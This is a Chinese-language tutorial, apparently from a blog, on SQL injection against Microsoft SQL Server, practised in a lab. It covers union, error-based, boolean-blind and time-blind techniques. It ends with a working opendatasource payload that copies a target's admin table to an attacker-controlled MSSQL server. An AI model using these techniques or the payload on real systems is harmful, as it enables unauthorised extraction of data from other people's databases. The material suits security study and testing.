MSSQL注入
数据库简介
MSSQL是指微软的SQL Server数据库服务器,它是一个数据库平台,提供数据库的从服务器到终端的完整的解决方案,其中数据库服务器部分,是一个数据库管理系统,用于建立、使用和维护数据库。属关系型数据库
注入简介
MSSQL注入攻击是最为复杂的数据库攻击技术,由于该数据库功能十分强大,存储过程以及函数语句十分丰富,这些灵活的语句造就了新颖的攻击思路
对于mssql的一个注入点我们往往最关心的这个注入点的权限问题,是sa、db_owner还是public;其次是这个注点是否显错,注释语句是否可用,例如sql server中注释符“–”;还有就是注入点是什么类型的,是字符型注入,还是数字型注入。
联合查询
基础知识:MSSQL的系统自带库–>master
其实再每个网站中,一般一个网站不会跨库,而再MSSQL中每个库都有一个系统自带表–>sysobjects
此系统表中对我们有用的只有3个字段,NAME字段和XTYPE字段和ID字段,name就是表名信息,xtype是代表表的类型,只有两个参数,S代表系统自带表,U代表用户创建的表,id字段的值用来连接syscolumns表
syscolumns表重我们需要查询的字段就是name字段
top关键字:由于MSSQL中不存在limit,那么想要输出一条数据怎么办呢,直接top 1,输出两条数据top 2,输出第二条数据top 1+限制条件
如何实现MySQL中的group_concat()函数的用法,实例如下
1 | SELECT top 1 id, [name] = stuff((SELECT ',' + [name] FROM syscolumns sys WHERE sys.id = syscolumns.id FOR xml path('')) , 1 , 1 , '') FROM syscolumns where id =2105058535; |
MSSQL中常用参数
@@version,查询当前数据库版本
db_name(),查询当前数据库名称
user,查询当前用户
IS_SRVROLEMEMBER(),查询数据库权限。
常用权限:sysadmin、serveradmin、setupadmin、securityadmin、diskadmin、bulkadmin
用法如下,证明相应权限则返回1
原理不在过多解释,注入原理与MySQL一致,直接打开靶场练习,判断注入点,如下图
此处就不再使用order by判断字段数了,很明显就三个字段,直接进行联合查询,与MySQL不一样的是,联合查询不能直接输入数字,占位符需要使用null,不太明显的可以看到多了一行空数据,如下图
接下来使用单引号,来判断字段的数据类型,经过测试数据类型如下图
查询表名,如下图
查询字段名,如下图
数据就不再一一查询。。
报错注入
cast()函数介绍
cast函数可以把查询的数据转化成字符型,用法:
cast(count(*) as varchar(255))+char(94)
,
注意加号再url中需要编码成%2b不然会报错,报错提示如下
MSSQL的报错注入就是再有错误信息的情况下,根绝数据类型不同进行报错注入,实例介绍,如下
having 1=1 和group by 联合使用的报错,首先使用having 1=1 爆出第一个字段名称
group by 爆第2、3、4个字段,这是由于group by 后面跟的字段数要与select查询的字段数一致,如下图
MSSQL盲注
布尔盲注
布尔盲注没多大变化,几乎与MySQL一致,注意一下函数就好
len()函数,MSSQL中的判断字符串长度的函数
substring()函数,截取字符串函数
其余的步骤和MySQL一致
时间盲注
与MySQL不一样的是,MSSQL数据库中是不存在sleep函数的,那应该怎么办呢?
没有if函数,但是有if语句ascii函数是条件,waitfor delay ‘0:0:5’是执行命令,延时五秒的意思
其余步骤就是不停改变子查询语句即可
其他思路
或许可以使用高耗时操作,找了半天没找到数据库中的高耗时操作,原则上如果有直接替代waitfor语句即可
MSSQL反弹注入
我们在进行SQL注入时明明是sql注入点却无法进行注入,注入工具猜解速度异常缓慢,错误提示信息关闭,无法返回注入结果等,这些都是注入攻击中常遇到的问题。为了解决以上疑难杂症,比较好的解决方法就是使用反弹注入技术,而反弹注入技术需要依靠opendatasource函数支持
环境搭建
MSSQL注入-反弹注入实际上就是把查询出来的数据发到我们的MSSQL服务器上,那么我们就需要自己搭建MSSQL数据库和一个公网ip,这里有一个虚拟空间,可以免去MSSQL安装环境并且不需要特意购置云服务器来获取公网ip
虚拟空间:香港云
这个香港云注册还需要邮箱,我一般不填真实信息,所以找了个10分钟邮箱
免费邮箱:10分钟邮箱
我选择了自己搭建。。
opendatasource函数
语法:opendatasource(provider_name,init_string)
provider_name:
- 注册为用于访问数据源的OLE DB提供程序的PROGID的名称,MSSQL的名称为SQLOLEDB
init_string:链接字符串
链接地址,端口,用户名,密码,数据库名
sever=链接地址,端口;uid=用户名;pwd=密码;database=数据库名称
实现功能:
获取所有库.当前库所有表.表里所有内容.分区路径.
本机建立库和表,方便反弹时写进东西
1 | payload:%27%20;%20insert%20into%20opendatasource(%27sqloledb%27,%27server=XX.xx.xx.xx,1433;uid=sa;pwd=xxxxxxxxx;database=test%27).test.dbo.%20test%20select%20*%20from%20admin--+ |
函数外的.test.dbo.test表示连接成功后,test数据库,dbo是权限,下个test是我建的表,再后面是查询的被攻击的数据表
注意:此处需要知道admin的字段数,因为test表需要和admin表字段数一致